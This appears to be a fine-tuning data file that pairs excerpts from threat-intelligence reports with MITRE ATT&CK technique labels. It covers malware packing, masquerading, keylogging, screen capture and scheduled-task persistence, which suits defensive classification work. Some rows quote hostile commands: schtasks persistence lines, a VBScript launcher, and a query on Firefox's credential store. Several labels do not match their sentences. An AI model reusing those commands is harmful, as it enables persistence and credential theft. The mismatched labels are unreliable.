"8 Making a copy of certutil and regsvr32 Certutil.exe (a copy is renamed to certis.exe by the trojan) is normally used in a windows environment to manage certificates, but in this case, it is used by the second stylesheet to download the malware payloads",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
"11 AV detection If there is no Avast install present, the script proceeds to the final .dll execution using regsvr32 and quits",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
"After unpacking the module, it is packed with an additional inner packer Pe123\RPolyCryptor",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
BlackEnergy2 was eventually seen downloading more crimeware plugins – a custom spam plugin and a banking information stealer custom plugin,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"Flash object in the .docx file, stored in uncompressed format The Flash object contains an ActionScript which is responsible for extracting the exploit using a custom packer seen in other FinSpy exploits",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
The PCODE of the virtual machine is packed with the aplib packer,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"While we can only speculate on the specific reason, it is likely Sofacy packed only the Delphi variants in an attempt to increase evasion as the Delphi variant of Zebrocy is known and has been widely analyzed",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
The MSIL file contains the packed core payload in its .Net resource section,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"Two modifications are made to UPX version 3.91:  The magic bytes UPX! in the UPX header are replaced with ASS7, The decompressed code and strings sections are XORed with 0x01",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
Figure 6: Difference between a stock UPX packed file and the modified one A patch for UPX is available on ESET’s malware-research Github repository that allows unpacking Keydnap’s backdoor with the usual upx -d,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
See the following for more information and examples of false flags being used in cyberattacks: Wave your false flags! …or the Nightmares and Nuances of a Self-Aware Attribution Space OlympicDestroyer is here to trick the industry Malware description The malware was first seen packed with VMProtect; when unpacked the sample didn’t show any similarities with previously known malware,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"(Source: Dell SecureWorks) In SWCs analyzed by CTU researchers, the threat actors added the Dean Edwards packed JavaScript code shown in Figure 9 to the end of a legitimate website's menu page",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"First, the sample is UPX packed",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"Data Exfiltration The second module Irdsnhrxxxfery98.~ is responsible for a vast amount of information stealing, and is able to collect information through hooking, clipboard usage, and monitoring the keystate",['T1115 - Clipboard Data'],fine_tune
"Cadelspy’s main payload contains its back door functionality, allowing the threat to carry out the following activities:  Log keystrokes and the titles of open windows Gather clipboard data and system information Steal printer information and any documents that were sent to be printed Record audio Capture screenshots and webcam photos  Cadelspy compresses all of the stolen data into a .cab file and uploads it to the attacker’s C&C servers",['T1115 - Clipboard Data'],fine_tune
Scan the network environment of the infected machine; checks for availability of specific ports on servers that share the same internal and external subnet mask (i.e 255.255.0.0\16),['T1046 - Network Service Discovery'],fine_tune
"Mimikatz The threat actors also uploaded tools to scan for and exploit potential vulnerabilities in the network, such as the well-known SMB vulnerability patched in commonly exploited by EternalBlue to move laterally to other systems on the network.",['T1046 - Network Service Discovery'],fine_tune
"What changes in the code can we see in such short time intervals that would not be present in a build tool? In one case, one build was programmed to execute the runmem command for a file named wi.exe while the other was not",['T1036 - Masquerading'],fine_tune
Filename SHA256 Description   7za.exe dd6d7af00ef4ca89a319a230cdd094275c3a1d365807fe5b34133324bdaa0229 7-Zip 17.01 beta    nbt.exe c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e nbtscan 1.0.35    rx.exe a6a0fbfee08367046d3d26fb4b4cf7779f7fb6eaf7e60e1d9b6bf31c5be5b63e IntelliAdmin Remote Execute v1.0    Table 5,['T1036 - Masquerading'],fine_tune
Filename SHA256 Description   7za.exe dd6d7af00ef4ca89a319a230cdd094275c3a1d365807fe5b34133324bdaa0229 7-Zip 17.01 beta   hb.exe 3ca3a957c526eaeabcf17b0b2cd345c0fffab549adfdf04470b6983b87f7ec62 Hobocopy   nbt.exe c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e nbtscan 1.0.35   rx.exe a6a0fbfee08367046d3d26fb4b4cf7779f7fb6eaf7e60e1d9b6bf31c5be5b63e IntelliAdmin Remote Execute v1.0   tardigrade.exe fe1b011fe089969d960d2dce2a61020725a02e15dbc812ee6b6ecc6a98875392 Tardigrade application,['T1036 - Masquerading'],fine_tune
"In one instance, the threat actor gained remote access to a high-value system in a compromised network, ran quser.exe to identify existing RDP sessions on the device, immediately ran a command to compile a RAR archive that specified file types the threat actor did not want, and used a password to encrypt the archive:  YYYY-MM-DD hh:mm:ss     quser YYYY-MM-DD hh:mm:ss     C:\windows\temp\svchost.exe a -m5 -v2000m -hp{password} -inul -r ""{destination_file.rar}"" ""{multiple user directories linked to the victim's projects}"" -x*.exe -x*.msi -x*.cab -x*.inc -x*.dll -x*.db -x*.mdb -x*.htm -x*.html -x*.css -x*.jar -x*.js -x*.tmp -x*.bak -x*.dat -x*.log -x*.xml -x*.dmp -x*.dbf -x*.avi -x*.mp3 -x*.mp4 -x*.mpg -x*.mpeg -x*.asp -x*.aspx -x*.gif -x*.jpg -x*.mpp -x*.pst  The threat actors typically rename the encrypted RAR archives",['T1036 - Masquerading'],fine_tune
"SHA256  a77f9e441415dbc8a20ad66d4d00ae606faab370ffaee5604e93ed484983d3ff   MD5 1ff40e79d673461cd33bd8b68f8bb5b8   Compiled 2017.08.06 11:32:36 (GMT), 2.22   Type I386 Windows Console EXE   Size 101 888    Instead of implementing this auxiliary module in the form of a dynamic linked library with its corresponding exported functions, the developers decided to use a standalone executable started by events.exe with the following parameters:    Parameter Description   -scr Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration",['T1036 - Masquerading'],fine_tune
The file is named netwf.dat,['T1036 - Masquerading'],fine_tune
The account names visually look similar to legitimate government organization names or other trusted third-party entities,['T1036 - Masquerading'],fine_tune
"The initial overlap was based on the filename wmssl.exe, which was seen as an executable name that Cannon would move the wmssl.txt attachment to install and execute a secondary payload",['T1036 - Masquerading'],fine_tune
"Writing executables to a randomly-selected directory under Program Files, and naming the EXE to match the chosen directory name, or, if that fails, writing the executable to a system-generated temporary file name, using the EXE extension   3",['T1036 - Masquerading'],fine_tune
"The malware drops the Windows batch file dx.bat, which attempts to kill the task daumcleaner.exe; a Korean security program",['T1036 - Masquerading'],fine_tune
"The “VPN Client” is a legitimate Juniper VPN software bundled with Helminth,  a malware in use by the OilRig threat agnet: JuniperSetupClientInstaller.exe 6a65d762fb548d2dc56cfde4842a4d3c (VirusTotal link) If the victim downloads and installs the file, their computer would get infected, while the legitimate VPN software is installed",['T1036 - Masquerading'],fine_tune
"For example, we analyzed a DropIt sample (SHA256: cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671) that dropped two executables, one of which was saved to “%TEMP%\flash_update.exe” that was a legitimate Flash Player installer",['T1036 - Masquerading'],fine_tune
"Figure 10: Network traffic to download final payload (words.exe) Once executed, the file performs the following activities:  Drops a copy of itself in %AppData%\svchost.exe\svchost.exe and drops an XML file, which contains configuration information for Task Scheduler (as shown in Figure 11)",['T1036 - Masquerading'],fine_tune
"Firstly, the reason this has been named MirageFox instead of just Mirage, is because in the Export directory for the modules, the name field is filled with a string MirageFox_Server.dat",['T1036 - Masquerading'],fine_tune
The wave against the government entity (June 26) also involved a simple PE file attachment (SHA256: d948d5b3702e140ef5b9247d26797b6dcdfe4fdb6f367bb217bc6b5fc79df520) using the filename tafahom.exe,['T1036 - Masquerading'],fine_tune
"After the .NET PE file has been run, we observed the same behavior as the above QUADAGENT sample of dropping a PowerShell script with the filename SystemDiskClean.ps1 alongside a VBScript file with the same name",['T1036 - Masquerading'],fine_tune
"The Downloader After the exploit or script executes, the system downloads install.exe, which has the following metadata: MD5             5a0c4e1925c76a959ab0588f683ab437 Size            46592 bytes Compile Time    2014-11-19 08:55:10Z Import Hash     6b8611f8148a6b51e37fd68e75b6a81c The file install.exe attempts to write two files (doc.exe and test.exe) to the hard-coded path “C:\Users\Public”, which fails on Windows XP because that path is not present by default",['T1036 - Masquerading'],fine_tune
"One example of these samples is given below: SHA256:6500636c29eba70efd3eb3be1d094dfda4ec6cca52ace23d50e98e6b63308fdb The file is a self-extracting RAR, which is a common delivery mechanism for PlugX particularly when the eventual payload will be sideloaded by a legitimate executable",['T1036 - Masquerading'],fine_tune
Filename qrat.exe   File Size 1093120 bytes   MD5 c05e5131b196f43e1d02ca5ccc48ec0e   SHA1 f28c592833f234c619917b5c7d8974840a810247   Notes Dropper that installs QuasarRAT file microsoft_network.exe and scheduled task wrapper file Microsoft.Win32.TaskScheduler.dll,['T1036 - Masquerading'],fine_tune
Filename  Part-I.doc    File Size  11349102 bytes    MD5  92942c54224cd462dd201ae11a560bb8    SHA1  85a21624df2211af3daf05c86a3fbea8271059d3    Notes Malicious RTF document that exploits CVE-2017-8570 and drops QuasarRAT file qrat.exe,['T1036 - Masquerading'],fine_tune
Filename  Part-II.doc    File Size  10156713 bytes    MD5  e32668e569362c96cc56db368b7e821e    SHA1  dadc493abbe3e21610539e1d5a42f523626a6132    Notes Malicious RTF document that exploits CVE-2017-8570 and drops QuasarRAT file mico-audio.exe,['T1036 - Masquerading'],fine_tune
"When the shellcode embedded within the malicious EPS is executed, the following three files are dropped:  %PROGRAMDATA%\Microsoft\DeviceSync\VMwareCplLauncher.exe %PROGRAMDATA%\Microsoft\DeviceSync\vmtools.dll %PROGRAMDATA%\Microsoft\DeviceSync\MSBuild.exe  In the list of dropped files, VMwareCplLauncher.exe is a legitimate, signed VMware executable that serves to ultimately deliver the BADNEWS payload",['T1036 - Masquerading'],fine_tune
"The vmtools.dll file is a modified DLL that both ensures persistence and loads MSBuild.exe, which is the BADNEWS malware renamed to spoof a legitimate Microsoft Visual Studio tool",['T1036 - Masquerading'],fine_tune
These digital certificates are often issued in the name of rogue and legitimate companies to avoid arousing suspicion from researchers and incident responders,['T1036 - Masquerading'],fine_tune
"In one instance we observed, one of the initial malware delivered to the victim, RATANKBA (TROJ_RATANKBA.A), connects to a legitimate but compromised website (eye-watch[.]in:443, a mobile application-selling site) from which a hack tool (nbt_scan.exe) is also downloaded",['T1036 - Masquerading'],fine_tune
"One archive sample analyzed by CTU researchers contained a legitimate PDF file, a benign image of interest to targets (see Figure 8), and an HttpBrowser installer disguised as an image file",['T1036 - Masquerading'],fine_tune
The legitimate owaauth.dll file resides in %ProgramFiles%\Microsoft\Exchange Server\ClientAccess\Owa\Auth\ while CTU researchers have observed the backdoor using the same filename in the %ProgramFiles%\Microsoft\Exchange Server\ClientAccess\Owa\bin\ directory,['T1036 - Masquerading'],fine_tune
It was pretending to be an Adobe flash player update installer on a compromised website to lure users to click for the execution,['T1036 - Masquerading'],fine_tune
Whitefly frequently delivers Vcrodat as a malicious DLL that has the same name as DLLs belonging to legitimate software from various security vendors.,['T1036 - Masquerading'],fine_tune
likely in an attempt to masquerade as a red-teaming tool rather than an advanced actor,['T1036 - Masquerading'],fine_tune
Using a custom User Agent string or the system's User Agent string derived from urlmon.dll   7,['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
"Persistence Once started, the Keydnap backdoor installs a plist file in /Library/LaunchAgents/ if it has root privileges or $USER/Library/LaunchAgents/ otherwise to achieve persistence across reboots",['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
Figure 6 shows the Glimpse server responding to an inbound beacon from the Glimpse agent and sending a command whoami,['T1033 - System Owner/User Discovery'],fine_tune
The screenshot also shows the Glimpse server receiving the results of the whoami command executed by the agent,['T1033 - System Owner/User Discovery'],fine_tune
"The webshell will save the archives locally to the server in the C:\Users\Public\Libraries\Recorded\Files folder, each with a filename with the following structure: [IP address]_c$_Users_[username]__[Desktop-Documents-Downloads]_[year]-[month]-[day]-[hours]-[minutes]-[seconds].7z It is likely that the threat actors use this functionality to rapidly check for new files created by users on the network",['T1033 - System Owner/User Discovery'],fine_tune
"This document was also the first of the mid-November cluster which used the user/USER author name instead of Joohn, further supporting the scenario of the document being copied between systems",['T1033 - System Owner/User Discovery'],fine_tune
The same code snippets are combined into a second stage JavaScript in “C:\Users\<User Name>\”,['T1033 - System Owner/User Discovery'],fine_tune
The username appears to be attacker specified and has occurred in 2017 Bankshot samples,['T1033 - System Owner/User Discovery'],fine_tune
This links the previous samples with this unique username,['T1033 - System Owner/User Discovery'],fine_tune
Note that the username could be a small joke on the attackers’ part regarding the attribution to FIN7,['T1033 - System Owner/User Discovery'],fine_tune
The magic value 0xFEEDFACF that belongs to Mach-O Executable (64 bit) Methods GET_LAUNCHNAME and GET_LABELNAME will return the hardcoded name of the property list “.plist” for the root user (com.apple.screen.assistantd.plist) and for the regular user (com.apple.spell.agent.plist),['T1033 - System Owner/User Discovery'],fine_tune
"The executable obtains an embedded PowerShell script, decrypts it using RC4, then decompresses it using ZLIB, and saves the cleartext to C:\Users\<username>\AppData\Roaming\Out.jpg",['T1033 - System Owner/User Discovery'],fine_tune
"code(2343)"", MsgBoxStyle.Critical, null);     The dropper then writes the content of the payload which resides as plaintext in a resource within the .NET assembly to C:\Users\<username>\AppData\Local\Temp\SystemDiskClean.ps1",['T1033 - System Owner/User Discovery'],fine_tune
File is dropped to C:\Users\%USERNAME%\AppData\Roaming\Microsoft Network\microsoft_network\1.0.0.0\microsoft_network.exe,['T1033 - System Owner/User Discovery'],fine_tune
File starts as mico-audio.exe and installs to C:\Users\%USERNAME%\AppData\Roaming\google-chrome\crome.exe,['T1033 - System Owner/User Discovery'],fine_tune
"For example, in the previous variant of BADNEWS, the victim’s unique identifier was stored under a variable named ‘uid’, the username was stored in a variable named ‘u’, etc",['T1033 - System Owner/User Discovery'],fine_tune
Unique User-Agents The unique User-Agents used in the HTTP communication between SpeakUp to the C&C are a possible path to the identity of the threat actor behind this campaign,['T1033 - System Owner/User Discovery'],fine_tune
(Source: Dell SecureWorks) Further research revealed additional tools containing the same username (see Figure 21),['T1033 - System Owner/User Discovery'],fine_tune
The SP variable is a string containing the victim's username,['T1033 - System Owner/User Discovery'],fine_tune
"It also attempts to issue the following SQL query on the “signons.sqlite” file: “SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins WHERE timePasswordChanged/1000 BETWEEN ? AND ?”   117 ftpUpload Uses FTPManager:uploadFile method and a supplied server name, username and password",['T1033 - System Owner/User Discovery'],fine_tune
The shellcode performs a system survey to collect the victim's computer name and username and then appends those values to a URL string using libjs.inquirerjs[.]com.,['T1033 - System Owner/User Discovery'],fine_tune
Command ID 17 indexes to a function that collects the system information and sends it to the C2 server.,['T1033 - System Owner/User Discovery'],fine_tune
"According to the server’s code, the default command that it would issue to newly infected systems was a batch script contained in a file named 0000000000.bat","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"After execution, the malware will use the Dropbox API to make an HTTP GET request using HTTPS over TCP port 443 for the files:  MD5  Filename  d76261ba3b624933a6ebb5dd73758db4  WmiApCom  79b68cdd0044edd4fbf8067b22878644  WmiApCom.bat   The “WmiApCom.bat” file is simply used to start “WmiApCom”, which happens to be the exact same file as the one dropped by the malicious Word documents","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
Attackers using Comnie are leveraging malicious macros that initially hide decoy documents and shows them when the victim enables macros,"['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"Comnie allows the attacker to provide and subsequently execute a batch script (BAT), executable file (EXE), or dynamic-link library (DLL)","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"While all payloads can be dynamically updated, at the time of delivery, this task launched a COM scriptlet (“.sct” file extension) that downloaded and executed Meterpreter hosted on images.chinabytes[.]info","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
VBScript #1 The dropped script “58d2a83f7778d5.36783181.vbs” acts as a launcher,"['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"For example, they stated DROPSHOT uses more advanced anti-emulation techniques, utilizes external scripts for self-deletion, and uses memory injection versus external drivers for deployment","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
The following are the three files:   Defender.sct – The malicious JavaScript based scriptlet file,"['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"Users can protect themselves from such attacks by disabling Office macros in their settings and also by being more vigilant when enabling macros (especially when prompted) in documents, even if such documents are from seemingly trusted sources","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"While we have not been able to obtain a secondary payload from the Unicorn generated PowerShell script, we believe that this group uses the script to deliver Metasploit’s Meterpreter as a potential payload as well","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"Via WMI (winmgmt), the JavaScript or VBscript code in the SCT file spawns a PowerShell one-liner which finally consumes the text file","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"Character  Description  0  File contains batch commands, it executes the batch commands  1  Rename the temporary file as .ps1 extension  2  Rename the temporary file as .vbs extension   Table 2: BONDUPDATER Actions Figure 8 is a screenshot of BONDUPDATER’s DGA implementation","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"To run persistently on the system, the Trojan will first create a VBScript file:SpecialFolder.CommonApplicationData\srvResesponded.vbs that contains:CreateObject(“WScript.Shell”).Run(“%app%”) The Trojan replaces the %app% string in the above VBScript with the path to its executable","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"The group often uses the trial version of Cobalt Strike, a publicly available commercial software for “Adversary Simulations and Red Team Operations.” Other public tools used by the group are Metasploit, a well-known free and open source framework for developing and executing exploit code against a remote target machine; Mimikatz, a post-exploitation tool that performs credential dumping; and Empire, “a PowerShell and Python post-exploitation agent.” For detection and exploitation of internet-facing web servers, CopyKittens use Havij, Acunetix and sqlmap","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
The second file is a PowerShell script which appears to be based on a Rapid7 Ruby Exploitation script that loads arbitrary shellcode,"['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"Next, it will copy the first stage shellcode in memory and create a new thread with the shellcode running in it, the code responsible for this execution is shown in Figure 1","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"For that we can use a Python script, included in Appendix B – Python Scripts","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"Essentially, we are discussing ongoing activity revolving around several malware families:  KopiLuwak and IcedCoffeer Carbon Mosquito WhiteBear  Technical Rattle Turla’s Shifting to Scripting KopiLuwak and IcedCoffee, WhiteBear, and WhiteAtlas Since at least 2015 Turla has leveraged Javascript, powershell, and wsh in a number of ways, including in their malware dropper/installation operations as well as for implementing complete backdoors","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"The image is downloaded directly, and the shellcode is loaded and executed in memory","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"(On the left is NavRAT, and on the right is the shellcode of ROKRAT):    We performed the same analysis for the shellcode located in the downloaded image file and the shellcode is not exactly the same, but the design is very similar","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"Figure 3: Script code embedded in 29[.]html used to download and run Revenge RAT The script shown in Figure 4 is almost identical to the one used by the script contents of 29[.]html (in Figure 3), the only difference being the absence of a sleep command and the usage of the “forfiles” utility","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"The downloaded document template contains the malicious macro codes, which executes a VBScript (VBS).","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
The attackers typically distribute Netwalker ransomware with the use of a reflective PowerShell loader script that has been protected from casual analysis with several layers of obfuscation.,"['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"The attackers orchestrate attacks using batch or PowerShell scripts that are executed, with the help of domain controllers, on any machine the DC can reach.","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 (EternalBlue) that we saw uploaded to the other errr.aspx webshell.,"['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
"Screenshot provided in leak showing administrative panel for hosting provider Berbid Server The screenshot showed the administrative panel for a VPS account on DeltaHost with four different virtual servers, as seen in Figure 20",['T1113 - Screen Capture'],fine_tune
"Screenshot in leak of administrative panel for an account at DeltaHost If we use the filename of this screenshot and assume that it was taken on March 29, 2019 and subtract 194 days from this date, it is possible that this server had been operational since at least September 16, 2018",['T1113 - Screen Capture'],fine_tune
This screenshot is via an RDP session as indicated by the tab located at the top of the screen and is located at 164.132.67[.]216 which is hosted by OVH,['T1113 - Screen Capture'],fine_tune
"The malware can exfiltrate keystrokes, screenshots, browser-related data like cookies and history, decrypted when possible",['T1113 - Screen Capture'],fine_tune
"Malware features Remexi boasts features that allow it to gather keystrokes, take screenshots of windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remote commands",['T1113 - Screen Capture'],fine_tune
"SCREEN Takes a PNG screenshot of the main screen and names the file with timestamps, then uploads it to the C2 server using POST at the path “/FeedBack.php”",['T1113 - Screen Capture'],fine_tune
"While sending to the C2 server, the data is formatted as follows: @{SYSINFO  = $get.ToString(); ACTION = ""REGISTER"";}  Ability to take screenshots",['T1113 - Screen Capture'],fine_tune
The “screenshot” command takes a screenshot that is saved as a.PNG file in “ProgramData“,['T1113 - Screen Capture'],fine_tune
The screen capture below shows the decryption function.It then calls the StartAndPatchRegAsm function.This function tries to find the original Microsoft RegAsm executable path,['T1113 - Screen Capture'],fine_tune
Figure 3: Screen capture of the downloader executed on OS X El Capitan,['T1113 - Screen Capture'],fine_tune
"Interestingly, we’ve seen recent samples embedding decoy documents that are screenshots of botnet C&C panels or dumps of credit card numbers",['T1113 - Screen Capture'],fine_tune
POWRUNER will send the captured screenshot image file to the C2 server if the “fileupload” command is issued,['T1113 - Screen Capture'],fine_tune
"The command handle looks for the following command strings in Table 3:    Command Description   $fileDownload Uploads the contents of a specified file to C2   $importModule Adds a specified PowerShell module to the current script   $screenshot Executes the contents of the command, which should be the string ‘$screenshot’",['T1113 - Screen Capture'],fine_tune
"23 Take screenshot, temporarily store it as TPX499.dat, and upload it to the C2",['T1113 - Screen Capture'],fine_tune
"SpyNote RAT captured the device’s screen activities along with audio using the  MediaProjectionCallback functionality (available with Lollipop, the Android 5.0 release, and later) and saved the output in a file named ""video.mp4"" as shown in the following screenshot:          Figure 5 : Output File     SMS stealing  SpyNote RAT was also observed stealing SMS messages from the affected devices, as shown in screenshot below:          Figure 6: Reading SMS messages     Stealing contacts The ability to steal contacts is a favorite feature for spyware developers, as the stolen contacts can be used to further spread the spyware",['T1113 - Screen Capture'],fine_tune
"[Screenshot 1] Encrypted Login Packet sent by Gh0stRAT infected PC  In addition to a standard malware analysis blog post, I’d also like to take this time to document and describe my methods for analysis, in the hopes that you as a reader will use these techniques in the future",['T1113 - Screen Capture'],fine_tune
"Returns the screenshot to the C2 via: <img src=’data:image/jpeg;base64,[base64 of screenshot]’ width=800 height=500 /><br>   111 startTakeScreenShot Creates a thread to take a screenshot at a set interval (default: every 10 seconds)",['T1113 - Screen Capture'],fine_tune
This simply acts as cleanup to ensure original file artifacts no longer reside on the infected machine,['T1070 - Indicator Removal on Host'],fine_tune
"This is a guest post by independent security researcher James Quinn. This will be Part 1 of a series titled Reversing Gh0stRAT Variants.  As 2018 drew to a close and 2019 took over, I began to see a different behavior from SMB malware authors.  Instead of massive, multi-staged cryptocurrency miners, I began to see more small, covert RATs serving as partial stage1’s.  Of these samples, there was one specific sample that stood out to me.  A Gh0stRAT variant, this sample not only changed the Gh0stRAT header from “Gh0st” to “nbLGX”, it also hid its traffic with an encryption algorithm over the entire TCP segment, in addition to the standard Zlib compression on the Gh0stRAT data.  Some key functionality is below:   Can download more malware   Offline Keylogger   Cleans Event logs",['T1070 - Indicator Removal on Host'],fine_tune
The same situation applies to authentication by key pair – the server contains a pre-defined constant public key and it allows authentication only if a particular private key is used,['T1056 - Input Capture'],fine_tune
"The keylogger then records keystrokes in encrypted files, for example: thumbcache_96.dbx",['T1056 - Input Capture'],fine_tune
NetWire has a built-in keylogger that can capture inputs from peripheral devices such as USB card readers,['T1056 - Input Capture'],fine_tune
It is commonly sold on various hacking forums as a keylogger and stealer that can be used to monitor systems and exfiltrate information from those systems,['T1056 - Input Capture'],fine_tune
"Deobfuscated, we can see it is the HawkEye Keylogger — Reborn v9, Version=9.0.1.6",['T1056 - Input Capture'],fine_tune
"8 Upload the TPX498.dat file, which contains the list of collected keystrokes",['T1056 - Input Capture'],fine_tune
63 64 ku64.dll ku32.dll Keylogger & clipboard monitor,['T1056 - Input Capture'],fine_tune
keylogger) may be missing for these platforms,['T1056 - Input Capture'],fine_tune
"However, the campaign that the PDC has recently observed has been delivering this keylogger exclusively",['T1056 - Input Capture'],fine_tune
"There does appear to be function names however, including PeekMessageA, which has been previously observed in other keylogging malware",['T1056 - Input Capture'],fine_tune
Keylogging Functionality XAgent also has a keylogger functionality that allows the threat actors to steal credentials as the user types them,['T1056 - Input Capture'],fine_tune
"This callback function will call a function named pressedKeyWithKeyCode, which is responsible for logging the keystrokes",['T1056 - Input Capture'],fine_tune
"Figure 1 Side-by-side of the lure images within ThreeDollars in the October 2017 and the January 2018 attacks   Superficially, we can immediately see the images are quite similar, but with some glaring differences",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"The technique of having a signed, legitimate, executable load a malicious library is commonly referred to as side-loading, and has been witnessed in a number of campaigns and malware families in the past",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
DLL side loading is often used to maintain persistence on the compromised system,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Note: DLL side loading is a prevalent persistence technique that is used to launch a multitude of backdoors,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Send exfiltrated data   taskkill.exe Ends working cycle of modules    Persistence Persistence modules are based on scheduled tasks and system registry,"['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"For newer operating systems, events.exe creates task.xml as follows:  Then it creates a Windows scheduled task using the following command:       schtasks.exe /create /TN \""Events\\CacheTask_<user_name_here>"" /XML \""<event_cache_dir_path>t /F""     At the system registry level, modules achieve persistence by adding themselves into the key: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit when it finds possible add values to the Winlogon subkey, and in HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager","['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"In addition, the PowerShell implant did not contain a mechanism to persist beyond a simple scheduled task","['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"After execution of every task, the malware sleeps for one minute before executing the next task","['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"The main similarities include the use of a scheduled task to persistently execute on the system, as well as the same general process to communicate with its C2 server","['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
The decoded string from the Sch resource is: SchTasks /Create /SC MINUTE /MO 3 /TN “%n%” /TR “wscript %path%” /f The decoded string from the VBS resource is: CreateObject(“WScript.Shell”).Run(“%app%”) The %n% string in the schtasks command above will be replaced with the GUID saved to GDI.bin,"['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
This differs from the previous OopsIE variant that used a hardcoded task name for the scheduled task,"['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"After creating this scheduled task for persistence, the Trojan will begin communicating with its C2 server","['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
A scheduled task is also generated to maintain persistence of the payload,"['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
Office365DCOMCheck or SystemDiskClean) as the name for the scheduled task to maintain persistence on the victim host,"['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"The malware component, test.exe, uses the Windows command ""cmd.exe"" /C whoami” to verify it is running with the elevated privileges of “System” and creates persistence by creating the following scheduled task:     schtasks /create /tn ""mysc"" /tr C:\Users\Public\test.exe /sc ONLOGON     /ru ""System"" When executed, the malware first establishes a SOCKS5 connection to 192.157.198.103 using TCP port 1913","['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"This DLL is used to create a scheduled task that points to the QuasarRAT binary, microsoft_network.exe, allowing it to remain persistent after reboot","['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"They use At.exe to schedule tasks to run self-extracting RAR archives, which install either HttpBrowser or PlugX","['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
Another batch script run by a scheduled task renames the archives on the file server (see Figure 15),"['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"The scripts create scheduled tasks and also retrieve, decode, and execute a copy of Revenge RAT","['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"The spreadsheet also creates a scheduled task named ""windows update check"" that runs the file C:\Users\<user_name>\.templates\System Manager.exe every minute.","['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
